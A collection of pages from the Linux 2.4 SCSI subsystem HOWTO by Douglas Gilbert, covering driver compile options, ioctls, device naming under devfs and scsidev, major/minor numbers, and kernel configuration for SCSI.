E.5.2. sg ioctls and user interface

The compile options in this appendix are those which a system administrator might conceivably want to change. Naturally the defaults are chosen so the vast majority of users will not need to modify anything. In some cases setting kernel build time options, kernel boot time parameters or module load parameters has the same effect as changing a driver compile time option.

System calls act as the interface between application programs and the kernel and its drivers. In the case of the layered driver architecture that the SCSI subsystem uses, the upper layer drivers handle most of the system calls.

The SCSI subsystem has a "bubble down" ioctl structure. First the upper level driver associated with the open file descriptor attempts to decode the ioctl. If it doesn't recognize it then the ioctl is passed down to the mid level. If the mid level doesn't recognize it then the ioctl is passed down to the lower level driver associated with the file descriptor. If the lower level driver doesn't recognize it then a EINVAL error is generated.

Some ioctls are dispatched to related subsystems.

Prev | Home | Next
Performance, Test and Debugging tools |  | Mid level


sd driver

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix E. Compile options and System calls including ioctls Next

E.2. sd driver

E.2.1. sd compile options

MAX_RETRIES     {5}
SD_TIMEOUT      {30 seconds}
SD_MOD_TIMEOUT  {75 seconds}

E.2.2. sd ioctls and user interface

The relevant files to see:
include/linux/hdreg.h
include/linux/genhd.h
include/linux/fs.h

A list of ioctl()s follow:
HDIO_GETGEO_BIG
HDIO_GETGEO     [retrieve disk geometry]
BLKGETSIZE      [number of sectors in device]
BLKROSET        [set read only flag]
BLKROGET        [get read only flag]
BLKRASET        [set read ahead value]
BLKRAGET        [get read ahead value]
BLKFLSBUF       [instructs SCSI subsystem to flush buffers]
BLKSSZGET       [get device block size]
BLKPG		[partition table manipulation]
BLKELVGET       [get elevator parameters]
BLKELVSET       [set elevator parameters]
BLKRRPART       [reread the partition table]

open()    (all flags ignored)
close()
ioctl()   (see list above)

Prev | Home | Next
Mid level | Up | sr driver


sg driver

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix E. Compile options and System calls including ioctls Next

E.5. sg driver

The following header files in the kernel source are relevant to the sg driver:
        /usr/src/linux/include/scsi/sg.h

As pointed out in Section E.1 this is best included in applications by using:
    #include <linux/../scsi/sg.h>

E.5.1. sg compile options

Here are some defines from the sg.h file that the user could conceivably want to change. The current default values are shown in braces on the right:

SG_SCATTER_SZ           {32768}
SG_DEF_RESERVED_SIZE    {SG_SCATTER_SZ}
SG_DEF_FORCE_LOW_DMA    {0}
SG_DEF_FORCE_PACK_ID    {0}
SG_DEF_KEP_ORPHAN       {0}
SG_MAX_QUEUE            {16}
SG_DEFAULT_RETRIES      {1}  # i.e. don't retry
SG_BIG_BUFF             {SG_DEF_RESERVED_SIZE}
SG_DEFAULT_TIMEOUT      {60 seconds}
SG_DEF_COMMAND_Q        {0 *}
SG_DEF_UNDERRUN_FLAG    {0}

* The per file descriptor copy of this flips to 1 (thus
  allowing command queuing) as soon as a write() based
  on the newer sg_io_hdr structure is detected.

E.5.2. sg ioctls and user interface

The following ioctl()s are listed in alphabetical order with a brief explanation to the right. [See sg documentation for more details.]

SG_EMULATED_HOST     [indicate if adapter is ide-scsi]
SG_GET_COMMAND_Q     [command queuing flag state]
SG_GET_KEEP_ORPHAN   [interrupted SG_IO keep orphan flag state]
SG_GET_LOW_DMA       ["low dma flag" (<= 16 MB on i386) state]
SG_GET_NUM_WAITING   [number of responses waiting to be read()]
SG_GET_PACK_ID       [pack_id of next to read() response
                      (-1 if none)]
SG_GET_REQUEST_TABLE [yields array of requests being processed]
SG_GET_RESERVED_SIZE [current size of reserved buffer]
SG_GET_SCSI_ID       [a little more info than the mid level's
                      SCSI_IOCTL_GET_IDLUN ioctl]
SG_GET_SG_TABLESIZE  [max entries in host's scatter gather table]
SG_GET_TIMEOUT       [yields timeout (unit: jiffies
                      (10ms on i386))]
SG_GET_TRANSFORM     [state of ide-scsi's transform flag]
SG_IO                [send given SCSI command and wait for
                      response]
SG_NEXT_CMD_LEN      [change command length of next command]
SG_SCSI_RESET        [send a SCSI bus, device or host reset]
SG_SET_COMMAND_Q     [set command queuing state {old=0, new=1}]
SG_SET_DEBUG         [set debug level {0}]
SG_SET_KEEP_ORPHAN   [set SG_IO's keep orphan flag {0}]
SG_SET_FORCE_LOW_DMA [force DMA buffer low (<= 16 MB on i386)
                      {0}]
SG_SET_FORCE_PACK_ID [so read() can fetch by pack_id {0}]
SG_SET_RESERVED_SIZE [change default buffer size
                      {SG_DEF_RESERVED_SIZE}]
SG_SET_TIMEOUT       [change current timeout {60 secs} ]
SG_SET_TRANSFORM     [set ide-scsi's ATAPI transform flag {0}]

open()    [recognized oflags: O_RDONLY, O_RDWR, O_EXCL,
           O_NONBLOCK]
close()
read()
write()
ioctl()
poll()    [used when in O_NONBLOCK mode]
fasync()  [enables generation of SIGIO signal for read()]

Prev | Home | Next
st driver | Up | References, Credits and Corrections


sr driver

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix E. Compile options and System calls including ioctls Next

E.3. sr driver

E.3.1. sr compile options

None.

E.3.2. sr ioctls and user interface

See the following files:
/usr/src/linux/include/linux/cdrom.h
/usr/src/linux/drivers/cdrom/cdrom.c [revision history section]
/usr/src/linux/Documentation/cdrom/cdrom-standard.tex

Some of the following ioctls are described in cdrom-standard.tex :
CDROMCLOSETRAY
CDROM_SET_OPTIONS
CDROM_CLEAR_OPTIONS
CDROM_SELECT_SPEED
CDROM_SELECT_DISC
CDROM_MEDIA_CHANGED
CDROM_DRIVE_STATUS
CDROM_CHANGER_NSLOTS
CDROM_LOCKDOOR
CDROM_DEBUG
CDROM_GET_CAPABILITY
DVD_READ_STRUCT
DVD_WRITE_STRUCT
DVD_AUTH
CDROM_SEND_PACKET
CDROM_NEXT_WRITABLE
CDROM_LAST_WRITTEN

The O_NONBLOCK flag on the open() of scd devices is important. Without it the open() will wait until there is media in the device before returning.

open()          O_NONBLOCK
close()
read()
write()
ioctl()

Prev | Home | Next
sd driver | Up | st driver


st driver

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix E. Compile options and System calls including ioctls Next

E.4. st driver

E.4.1. st compile options

Most of the following compile options can be overridden with boot/module parameters and/or runtime configuration (i.e. ioctls).

The following parameters are defined in linux/drivers/scsi/st_options.h
ST_NOWAIT                    {0}
ST_IN_FILE_POS               {0}
ST_RECOVERED_WRITE_FATAL     {0}
ST_DEFAULT_BLOCK             {0}
ST_BUFFER_BLOCKS             {32}
ST_WRITE_THRESHOLD_BLOCKS    {30}
ST_MAX_BUFFERS               {4}
ST_MAX_SG                    {16}
ST_FIRST_SG                  {8}
ST_FIRST_ORDER               {5}
ST_TWO_FM                    {0}
ST_BUFFER_WRITES             {1}
ST_ASYNC_WRITES              {1}
ST_READ_AHEAD                {1}
ST_AUTO_LOCK                 {0}
ST_FAST_MTEOM                {0}
ST_SCSI2LOGICAL              {0}
ST_SYSV                      {0}

The following parameters are defined in linux/drivers/scsi/st.c
ST_TIMEOUT                   {900*HZ}
ST_LONG_TIMEOUT              {14000*HZ}

E.4.2. st ioctls and user interface

The Linux tape interface is defined in /usr/src/linux/include/linux/mtio.h .

The following ioctl()s are listed in alphabetical order with a brief explanation to the right. [See st documentation (especially man 4 st) for more details.]
MTIOCTOP   [execute tape commands and set drive/driver options]
MTIOCGET   [get the status of the drive]
MTIOCPOS   [get the current tape location]

open()   O_RDONLY, O_RDWR
close()
read()
write()
ioctl()

Prev | Home | Next
sr driver | Up | sg driver


Devfs pseudo file system

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 12. Devfs pseudo file system

The main documentation for devfs can be found at: reference W5. The devfs name conventions for the SCSI subsystem are outlined in Section 3.3. Devfs is selected by the kernel build option CONFIG_DEVFS_FS and whether it is mounted at boot time (as /dev) or not is controlled by the kernel build option CONFIG_DEVFS_MOUNT. The latter option can be overridden by the kernel boot time options "devfs=mount" or "devfs=nomount", whichever is appropriate.

The devfs SCSI node names with their default permissions are:
disc        rw-------   whole disk including mbr
part1       rw-------   first partition {...p1}
...
part15      rw-------   15th partition {...p15}
cd          rw-rw-rw-   cd or dvd devices
mt          rw-rw-rw-   tape mode 0 with rewind {...m0}
mtl         rw-rw-rw-   tape mode 1 with rewind {...m1}
mtm         rw-rw-rw-   tape mode 2 with rewind {...m2}
mta         rw-rw-rw-   tape mode 3 with rewind {...m3}
mtn         rw-rw-rw-   tape mode 0 with no rewind {...m0n}
mtln        rw-rw-rw-   tape mode 1 with no rewind {...m1n}
mtmn        rw-rw-rw-   tape mode 2 with no rewind {...m2n}
mtan        rw-rw-rw-   tape mode 3 with no rewind {...m3n}
generic     rw-r-----

These node names are only present if the corresponding device (or sub-entities of the device (e.g. partitions)) and driver are present. For example if there is no sg driver present then there is no "generic" device name. The strings that appear above in braces are appended to the abridged "c0b0t0u0" notations outlined below as appropriate.

The devfs file names that are block or character special files will be called the primary device names in this description. The devfs daemon, called devfsd, introduces many symbolic links to those primary device names. This is done both for backward compatibility and convenience. These symbolic links will be called secondary device names.

The secondary device names are controlled by the devfsd configuration file usually found in /etc/devfsd.conf . Following is a list of secondary device names when the default devfsd.conf file is used:

Secondary name       slink to this primary device name
--------------------------------------------------------------
/dev/sda             /dev/scsi/host0/bus0/target2/lun0/disc
/dev/sda1            /dev/scsi/host0/bus0/target2/lun0/part1
/dev/sd/c0b0t2u0     /dev/scsi/host0/bus0/target2/lun0/disc
/dev/sd/c0b0t2u0p1   /dev/scsi/host0/bus0/target2/lun0/part1
/dev/sr0             /dev/scsi/host0/bus0/target4/lun0/cd
/dev/sr/c0b0t4u0     /dev/scsi/host0/bus0/target4/lun0/cd
/dev/st0             /dev/scsi/host1/bus0/target0/lun0/mt
/dev/nst0a           /dev/scsi/host1/bus0/target0/lun0/mtan
/dev/st/c1b0t0u0m0   /dev/scsi/host1/bus0/target0/lun0/mt
/dev/st/c1b0t0u0m3n  /dev/scsi/host1/bus0/target0/lun0/mtan
/dev/sg0             /dev/scsi/host0/bus0/target2/lun0/generic
/dev/sg1             /dev/scsi/host0/bus0/target4/lun0/generic
/dev/sg2             /dev/scsi/host1/bus0/target0/lun0/generic
/dev/sg/c0b0t2u0     /dev/scsi/host0/bus0/target2/lun0/generic
/dev/sg/c0b0t4u0     /dev/scsi/host0/bus0/target4/lun0/generic
/dev/sg/c1b0t0u0     /dev/scsi/host1/bus0/target0/lun0/generic

Note that the more common /dev/scd0 variant for SCSI cdroms is not supported. There are also /dev/discs, /dev/cdroms and /dev/tapes directories that contain symbolic links to all devices (i.e. not just SCSI devices) that fall into that categorization:

Secondary name       slink to this primary device
------------------------------------------------------------
/dev/discs/disc0     /dev/ide/host0/bus0/target0/lun0      *
/dev/discs/disc1     /dev/scsi/host0/bus0/target2/lun0     *
/dev/cdroms/cdrom0   /dev/ide/host0/bus1/target1/lun0/cd
/dev/cdroms/cdrom1   /dev/scsi/host0/bus0/target4/lun0/cd
/dev/tapes/tape0     /dev/scsi/host1/bus0/target0/lun0     *

Those entries marked with "*" are directories containing the primary devices. Note that IDE/ATA devices are listed before SCSI devices. These secondary device names mimic the same persistence rules as the primary device names. So when a SCSI device (?), or its lower level driver or its upper level driver are removed then so are the primary and secondary device names associated with it.

When devfs is mounted as /dev, the old "/dev/sda6" type can still be used in some contexts. This may be convenient if typing is required at the kernel boot time prompt. For example if a user wants to change the root partition on a "devfs" machine then any of the following examples may be used as a kernel boot time option:
   root=/dev/sda6
   root=/dev/scsi/host0/bus0/target0/lun0/part6
   root=/dev/sd/c0b0t0u0p6

There are many device scanning programs that expect to see the pre-devfs device names present and it will some time before they become devfs aware. Also some programs rely on a open of /dev/sg0 (for example) to load the sg driver (assuming it is a module and not already loaded). This can be arranged by an entry in /etc/devfsd.conf file of:
        LOOKUP          sg.*            MODLOAD
and the following in /etc/modules.devfs :
        probeall        /dev/sg         scsi-hosts sg
        alias           /dev/sg*        /dev/sg

The sg device permissions can be changed with this entry in the /etc/devfsd.conf file:
  REGISTER scsi/host.*/bus.*/target.*/lun.*/generic
                              PERMISSIONS 0.0 rw-rw-rw-
See "man devfsd" for more information.

An application can determine whether devfs is active by the presence or otherwise of the file /dev/.devfsd.

A feature of a /dev directory based on a persistent file system (e.g. ext2) is the ability to associate permissions with a device file name and keep them from one boot to the next. As noted above the default action of devfs is to assign device file name permissions anew each time a machine is booted. The PERMISSIONS action in the /etc/devfsd.conf can be used to assert permissions but this may be considered a little awkward. The devfs document (W5) describes a method for getting the best of both worlds. This technique relies on the recently added feature in lk 2.4 to mount the same file system at multiple points.

Prev | Home | Next
Raw devices |  | Common bus types (SCSI and other)


Device Names

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 3. Names and Addresses Next

3.2. Device Names

A device name can be thought of as gateway to a kernel driver that controls a device rather than the device itself. Hence there can be multiple device names some of which may offer slightly different characteristics, all mapping to the same actual device.

The device names of the various SCSI devices are found within the /dev directory. Traditionally in Linux, SCSI devices have been identified by their major and minor device number rather than their SCSI bus addresses (e.g. SCSI target id and LUN). The device pseudo file system (devfs) moves away from the major and minor device number scheme and for the SCSI subsystem uses device names based on the SCSI bus addresses [discussed later in Section 3.3 and see reference: W5]. Alternatively, there is a utility called scsidev which addresses this issue within the scope of the Linux SCSI subsystem and thus does not have the same system wide impact as devfs. Scsidev is discussed later in Section 3.4 and ref: W6.

Eight block major numbers are reserved for SCSI disks: 8, 65, 66, 67, 68, 69, 70 and 71. Each major can accommodate 256 minor numbers which, in the case of SCSI disks, are subdivided as follows:
[b,8,0]    /dev/sda
[b,8,1]    /dev/sda1
....
[b,8,15]   /dev/sda15
[b,8,16]   /dev/sdb
[b,8,17]   /dev/sdb1
....
[b,8,255]  /dev/sdp15

The disk device names without a trailing digit refer to the whole disk (e.g. /dev/sda) while those with a trailing digit refer to one of the 15 allowable partitions [1] within that disk.

The remaining 7 SCSI disk block major numbers follow a similar pattern:
[b,65,0]   /dev/sdq
[b,65,1]   /dev/sdq1
....
[b,65,159] /dev/sdz15
[b,65,160] /dev/sdaa
[b,65,161] /dev/sdaa1
....
[b,65,255] /dev/sdaf15
[b,66,0]   /dev/sdag
[b,66,1]   /dev/sdag1
....
[b,66,255] /dev/sdav15
....
[b,71,255] /dev/sddx15

So there are 128 possible disks (i.e. /dev/sda to /dev/sddx) each having up to 15 partitions. By way of contrast, the IDE subsystem allows 20 disks (10 controllers each with 1 master and 1 slave) which can have up to 63 partitions each.

SCSI CD-ROM devices are allocated the block major number of 11. Traditionally sr has been the device name but scd probably is more recognizable and is favoured by several recent distributions. 256 SCSI CD-ROM devices are allowed:
[b,11,0]   /dev/scd0          [or /dev/sr0]
[b,11,255] /dev/scd255        [or /dev/sr255]

SCSI tape devices are allocated the char major number of 9. Up to 32 tapes devices are supported each of which can be accessed in one of four modes (0, 1, 2 and 3), with or without rewind. The devices are allocated as follows:
[c,9,0]    /dev/st0     [tape 0, mode 0, rewind]
[c,9,1]    /dev/st1     [tape 1, mode 0, rewind]
....
[c,9,31]   /dev/st31    [tape 31, mode 0, rewind]
[c,9,32]   /dev/st0l    [tape 0, mode 1, rewind]
....
[c,9,63]   /dev/st31l   [tape 31, mode 1, rewind]
[c,9,64]   /dev/st0m    [tape 0, mode 2, rewind]
....
[c,9,96]   /dev/st0a    [tape 0, mode 3, rewind]
....
[c,9,127]  /dev/st31a   [tape 31, mode 3, rewind]
[c,9,128]  /dev/nst0    [tape 0, mode 0, no rewind]
....
[c,9,160]  /dev/nst0l   [tape 0, mode 1, no rewind]
....
[c,9,192]  /dev/nst0m   [tape 0, mode 2, no rewind]
....
[c,9,224]  /dev/nst0a   [tape 0, mode 3, no rewind]
....
[c,9,255]  /dev/nst31a  [tape 31, mode 3, no rewind]

The SCSI generic (sg) devices are allocated the char major number of 21. There are 256 possible SCSI generic (sg) devices:
[c,21,0]   /dev/sg0
[c,21,1]   /dev/sg1
....
[c,21,255] /dev/sg255

Note that the SCSI generic device name's use of a trailing letter (e.g. /dev/sgc) is deprecated.

Each SCSI disk (but not each partition), each SCSI CD-ROM and each SCSI tape is mapped to an sg device. SCSI devices that don't fit into these three categories (e.g. scanners) also appear as sg devices.

Pseudo devices [see Section 10.1] can cause devices that are usually not considered as SCSI to appear as SCSI device names. For example an ATAPI CD-ROM may be picked up by the ide-scsi pseudo driver and mapped to /dev/scd0 .

The linux/Documentation/devices.txt file supplied within the kernel source is the definitive reference for Linux device names and their corresponding major and minor number allocations.

Notes

[1]

If 15 partitions is too limiting then the Logical Volume Manager (LVM) might be considered. See /usr/src/linux/Documentation/LVM-HOWTO. LVM will also allow a logical partition to span multiple block devices.

Prev | Home | Next
SCSI Addressing | Up | Device Names in devfs


Device Names in devfs

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 3. Names and Addresses Next

3.3. Device Names in devfs

The device pseudo file system can be mounted as /dev in which case it replaces the traditional Linux device subdirectory. Alternatively it can be mounted elsewhere (e.g. /devfs) and supplement the existing device structure.

Without devfs, devices names are typically maintained in the dev directory of the root partition. Hence the device names (and their associated permissions) have file system persistence. The existence of a device name does not necessarily imply such a device (or even its driver) is present. To save users having to create device name entries (with the mknod command) most Linux distributions come with thousands of device names defined in the /dev directory. When applications try to open() the device name then a errno value of ENODEV indicates there is no corresponding device (or driver) currently available.

Devfs takes a different approach in which the existence of the device name is directly related to the presence of the corresponding device (and its driver).

Assuming devfs is mounted on /dev then SCSI devices have primary device names that might look like this:
/dev/scsi/host0/bus0/target1/lun0/disc    [whole disk]
/dev/scsi/host0/bus0/target1/lun0/part6   [partition 6]
/dev/scsi/host0/bus0/target1/lun0/generic [sg device for disk]

/dev/scsi/host1/bus0/target2/lun0/cd      [CD reader or writer]
/dev/scsi/host1/bus0/target2/lun0/generic [sg device for cd]

/dev/scsi/host2/bus0/target0/lun0/mt      [tape mode 0 rewind]
/dev/scsi/host2/bus0/target0/lun0/mtan    [tape mode 3 no rewind]
/dev/scsi/host2/bus0/target0/lun0/generic [sg device for tape]
The sg device on the third line corresponds to the "whole disk" on the first line since they have the same SCSI address (i.e. host0/bus0/target1/lun0). If the sg driver is a module and it has not yet been loaded (or it has been unloaded) then the "generic" device names in the above list will not be present.

[Notice the spelling of "disc" as the devfs author favours English spelling over the American variant.] It can be seen that devfs's naming scheme closely matches the SCSI addressing discussed in Section 3.1. It is worth noting that the IDE subsystem uses a similar devfs device naming scheme with the word "scsi" replaced with "ide". Devfs is discussed further in Chapter 12.

Prev | Home | Next
Device Names | Up | Device Names in scsidev


Device Names in scsidev

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 3. Names and Addresses Next

3.4. Device Names in scsidev

A utility program called scsidev adds device names to the /dev/scsi directory that reflect the SCSI address of each device. The first 2 letters of the name are the upper level SCSI driver name (i.e. either sd, sr, st or sg). The number following the "h" is the host number while the number following the "-" is meant for host identification purposes. For PCI adapters this seems to be always 0 while for ISA adapters it is their IO address. [Perhaps this field could be made more informative or dropped.] The numbers following the "c", "i" and "l" are channel (bus), target id and lun values respectively. Raw disks are shown without a trailing partition number while partitions contained within them are shown with the partition number following a "p".

The scsidev would typically be run as part of the boot up sequence. It may also be useful to run it after the SCSI configuration has changed (e.g. adding or removing lower level driver modules, or the use of the add/remove-single-device command). After scsidev has been run on my system which contains 2 disks, a cd reader and writer plus a scanner, then the following names were added in the /dev/scsi directory:
$ ls -l /dev/scsi/   # abridged
total 0
brw-------  8,   0 Sep  2 11:56 sdh0-0c0i0l0
brw-------  8,   1 Sep  2 11:56 sdh0-0c0i0l0p1
...
brw-------  8,   8 Sep  2 11:56 sdh0-0c0i0l0p8
brw-------  8,  16 Sep  2 11:56 sdh0-0c0i1l0
brw-------  8,  17 Sep  2 11:56 sdh0-0c0i1l0p1
...
brw-------  8,  24 Sep  2 11:56 sdh0-0c0i1l0p8
crw------- 21,   0 Sep  2 11:56 sgh0-0c0i0l0
crw------- 21,   1 Sep  2 11:56 sgh0-0c0i1l0
crw------- 21,   2 Sep  2 11:56 sgh1-0c0i2l0
crw------- 21,   3 Sep  2 11:56 sgh1-0c0i5l0
crw------- 21,   4 Sep  2 11:56 sgh1-0c0i6l0
br-------- 11,   0 Sep  2 11:56 srh1-0c0i2l0
br-------- 11,   1 Sep  2 11:56 srh1-0c0i6l0
The mapping between the SCSI generic device names (sg) and their corresponding names when controlled by other upper level drivers (i.e. sd, sr or st) can be seen by looking for name matches when the second letter is ignored. Hence "sdh0-0c0i0l0" and "sgh0-0c0i0l0" refer to the same device. By process of elimination the "sgh1-0c0i5l0" filename is the scanner since that class of devices can only be accessed by via the sg interface.

The scsidev package also includes the ability to introduce names like /dev/scsi/scanner by manipulating the /etc/scsi.alias configuration file. The package also includes the useful rescan-scsi-bus.sh utility. For further information about scsidev see W6. On my system, both devfs and scsidev co-exist happily.

Prev | Home | Next
Device Names in devfs | Up | Kernel Configuration


The Linux 2.4 SCSI subsystem HOWTO

Douglas Gilbert

dgilbert@interlog.com

Copyright © 2000, 2001, 2002 by Douglas Gilbert

2002-04-27

Revision History
Revision 1.7 | 2002-04-27 | Revised by: dpg
mkinitrd, scsi_debug, 2.4.18, more ATAPI
Revision 1.6 | 2002-01-26 | Revised by: dpg
ATAPI cdrom selection
Revision 1.5 | 2001-12-21 | Revised by: dpg
16 byte SCSI commands, SCSI_IOCTL_GET_PCI
Revision 1.4 | 2001-08-26 | Revised by: dpg
spelling, dd_rescue, mkinitrd example, lk 2.4 changes, 1394.
Revision 1.3 | 2001-08-26 | Revised by: dpg
ATAPI CDROM section, alter title, U320, iSCSI.
Revision 1.2 | 2001-03-25 | Revised by: dpg
Information about scu, dt, "Alt" sequences, more notes.
Revision 1.1 | 2001-01-22 | Revised by: dpg
Add osst description, _EXTRA_DEVS limitations.

This document describes the SCSI subsystem as the Linux kernel enters the 2.4 production series. An external view of the SCSI subsystem is the main theme. Material is included to help the system administration of the Linux SCSI subsystem. There are also brief descriptions of ioctl()s and interfaces that may be relevant to those writing applications that use this subsystem.

Table of Contents
1. Introduction
2. Architectural Overview
3. Names and Addresses
3.1. SCSI Addressing
3.2. Device Names
3.3. Device Names in devfs
3.4. Device Names in scsidev
4. Kernel Configuration
5. Boot Parameters
6. Modules and their Parameters
7. Proc pseudo file system
8. Mid Level, Unifying layer
8.1. boot parameters
8.2. module parameters
8.3. proc interface
9. Upper level drivers
9.1. Disk driver (sd)
9.2. CDROM driver (sr or scd)
9.3. Tape driver (st)
9.4. Generic driver (sg)
10. Lower Level drivers
10.1. Pseudo drivers
11. Raw devices
12. Devfs pseudo file system
A. Common bus types (SCSI and other)
B. Changes between lk 2.2 and (during) 2.4
B.1. Mid level changes
B.2. sd changes
B.3. sr changes
B.4. st changes
B.5. sg changes
B.6. Changes during the lk 2.4 series
C. Troubleshooting
D. Performance, Test and Debugging tools
E. Compile options and System calls including ioctls
E.1. Mid level
E.2. sd driver
E.3. sr driver
E.4. st driver
E.5. sg driver
F. References, Credits and Corrections
Next
Introduction


Introduction

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 1. Introduction

This document describes the SCSI subsystem as the Linux kernel enters the 2.4 production series.

An external view of the SCSI subsystem is the main theme. Material is included to help the system administration of the Linux SCSI subsystem. There are also brief descriptions of ioctl()s and interfaces that may be relevant to those writing applications that use this subsystem. However internal data structures and design issues are not addressed [see reference W2]. To unclutter the presentation, compile options and system calls (including ioctl()s) have been placed in Appendix E. Although not strictly part of the SCSI subsystem, there is also a description of raw devices in Chapter 11.

For those who have no interest in the SCSI subsystem and just want to get their ATAPI cd writer going, see Section 9.2.4. It may also be useful to browse Chapter 2.

This document follows on from one written five years ago by Drew Eckhardt called the SCSI-HOWTO [see reference W7]. That document described the SCSI subsystem in Linux kernel 1.2 and 1.3 series. It is still available from the Linux Documentation Project [LDP, see reference W8] in its "unmaintained" section. Both documents have roughly similar structures although Drew's document has a lot of information on the adapter drivers.

This document can be found in electronic form at www.linuxdoc.org/HOWTO/SCSI-2.4-HOWTO. The home site and perhaps the most up to date version of this document can be found at www.torque.net/scsi/SCSI-2.4-HOWTO (this is the multi-page html version). At that location this document is rendered in rtf, ps, pdf, a single (long) page of html as well as multi-page html (e.g. the postscript version is at www.torque.net/scsi/SCSI-2.4-HOWTO.ps).

This document was built on 27th April 2002.

Prev | Home | Next
The Linux 2.4 SCSI subsystem HOWTO |  | Architectural Overview


Kernel Configuration

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 4. Kernel Configuration

The Linux kernel configuration is usually found in the kernel source in the file: /usr/src/linux/.config . It is not recommended to edit this file directly but to use one of these configuration options:

  • make config - starts a character based questions and answer session

  • make menuconfig - starts a terminal-oriented configuration tool (using ncurses)

  • make xconfig - starts a X based configuration tool

The descriptions of these selections that is displayed by the associated help button can be found in the flat ASCII file: /usr/src/linux/Documentation/Configure.help

Ultimately these configuration tools edit the .config file. An option will either indicate some driver is built into the kernel ("=y") or will be built as a module ("=m") or is not selected. The unselected state can either be indicated by a line starting with "#" (e.g. "# CONFIG_SCSI is not set") or by the absence of the relevant line from the .config file.

The 3 states of the main selection option for the SCSI subsystem (which actually selects the SCSI mid level driver) follow. Only one of these should appear in an actual .config file:
CONFIG_SCSI=y
CONFIG_SCSI=m
# CONFIG_SCSI is not set

Some other common SCSI configuration options are:
CONFIG_BLK_DEV_SD        [disk (sd) driver]
CONFIG_SD_EXTRA_DEVS     [extra slots for disks added later]
CONFIG_BLK_DEV_SR        [SCSI cdrom (sr) driver]
CONFIG_BLK_DEV_SR_VENDOR [allow vendor specific cdrom commands]
CONFIG_SR_EXTRA_DEVS     [extra slots for cdroms added later]
CONFIG_CHR_DEV_ST        [tape (st) driver]
CONFIG_CHR_DEV_OSST	 [OnSteam tape (osst) driver]
CONFIG_CHR_DEV_SG        [SCSI generic (sg) driver]
CONFIG_DEBUG_QUEUES      [for debugging multiple queues]
CONFIG_SCSI_MULTI_LUN    [allow probes above lun 0]
CONFIG_SCSI_CONSTANTS    [symbolic decode of SCSI errors]
CONFIG_SCSI_LOGGING      [allow logging to be runtime selected]

CONFIG_SCSI_<ll_driver>  [numerous lower level adapter drivers]
CONFIG_SCSI_DEBUG        [lower level driver for debugging]

CONFIG_SCSI_PPA          [older parallel port zip drives]
CONFIG_SCSI_IMM          [newer parallel port zip drives]

CONFIG_BLK_DEV_IDESCSI   [ide-scsi pseudo adapter]
CONFIG_I2O_SCSI		 [scsi command set over i2o bus]
CONFIG_SCSI_PCMCIA       [for SCSI HBAs on PCMCIA bus]
CONFIG_USB_STORAGE       [usb "mass storage" type]

CONFIG_MAGIC_SYSRQ       [Alt+SysRq+S for emergency sync]
                         [Alt+SyrRq+U for emergency remount ro]

If the root file system is on a SCSI disk then it makes sense to build into the kernel the SCSI mid level, the sd driver and the host adapter driver that the disk is connected to. In most cases it is usually safe to build the sr, st and sg drivers as modules so that they are loaded as required. If a device like a scanner is on a separate adapter then its driver may well be built as a module. In this case, that adapter driver will need to be loaded before the scanner will be recognized.

Linux distributions have many of the SCSI subsystem drivers built as modules since building all of them in would lead to a very large kernel that would exceed the capabilities of the boot loader. This leads to a "chicken and the egg" problem in which the SCSI drivers are needed to load the root file system and vice versa. The 2 phase load used by the initrd device addresses this problem (see Chapter 6 for more details).

Prev | Home | Next
Device Names in scsidev |  | Boot Parameters


Lower Level drivers

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 10. Lower Level drivers

There are too many SCSI low level drivers to detail in this document. As an alternative to giving any superficial overview here, the reader is given suggestions of places to look for further information.

The source directory for the SCSI subsystem in the Linux kernel is a good place to start: /usr/src/linux/drivers/scsi. Several drivers have information in a "readme" file: README.<driver_name>. Others have extensive information at the top of their ".c" file This information often includes a version number, change logs and kernel boot time and module load time options. Often the latter information can be found in the installation guides of the various Linux distributions. Sometimes the driver maintainer will have a web site containing the most recent bug fix information. Official maintainers are listed in the /usr/src/linux/MAINTAINERS file. If there is nothing there, look in the relevant ".c" file in the SCSI subsystem directory. Some old drivers have no active maintainers. In such cases posting to the linux-scsi newsgroup may help [see N1].

For an overview of the drivers supplied with the kernel source tree, use one of the kernel configuration programs (e.g. cd /usr/src/linux; make menuconfig). The help information associated with each selection can be found together in one (large) flat file at /usr/src/linux/Documentation/Configure.help. Drivers can be obtained from other places. It is unlikely that a SCSI driver made for the lk 2.2 series (or before) will build or operate successfully in the lk 2.4 series. [From a programmatic viewpoint there are not a lot of things that need changing.] Drivers may even be only available in binary form, in which case make sure that you trust the provider and follow their instructions closely.

Lower level drivers can support either of 2 error handling strategies. The older one is considered obsolete while the newer one is often called "new_eh". The advantage of "new_eh" is that it uses a separate kernel thread per host (named "scsi_eh_<n>" where <n> is the host number) to facilitate error recovery. Both error handling strategies were also available in the lk 2.2 series in which very few adapter drivers used "new_eh". In the lk 2.4 series, more drivers are using it and the plan for the forthcoming lk 2.5 development series is to drop mid level support for the older, obsolete error strategy.

Drew Eckhardt's SCSI-HOWTO document [see reference W7] goes into much more detail about lower level (adapter) drivers than this document. Since that SCSI-HOWTO is 5 years old, many things have changed and more drivers have been added.

There is a lower level driver called scsi_debug that simulates one or more "direct access" devices (i.e. disk(s)) using the computer's memory. From lk 2.4.17 it acts as a "ram disk". While there are many ram disk implementations available in Linux (e.g. ramfs), scsi_debug may help to isolate a defective scsi driver in a problematic installation. See scsi_debug.c for further information.

Prev | Home | Next
Generic driver (sg) |  | Pseudo drivers


Pseudo drivers

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 10. Lower Level drivers Next

10.1. Pseudo drivers

SCSI can be viewed as a command set and a set of hardware buses that convey that command set. Those hardware buses can be further divided into those used exclusively for SCSI (e.g. ultra wide), those shared with other protocols (e.g. USB, IEEE 1394) and those buses not defined by the various SCSI standards. In the final category there are several interesting examples including ATAPI CD writers and PC parallel bus ZIP drives. Such devices use the SCSI command set (or something very close to it) over a foreign bus.

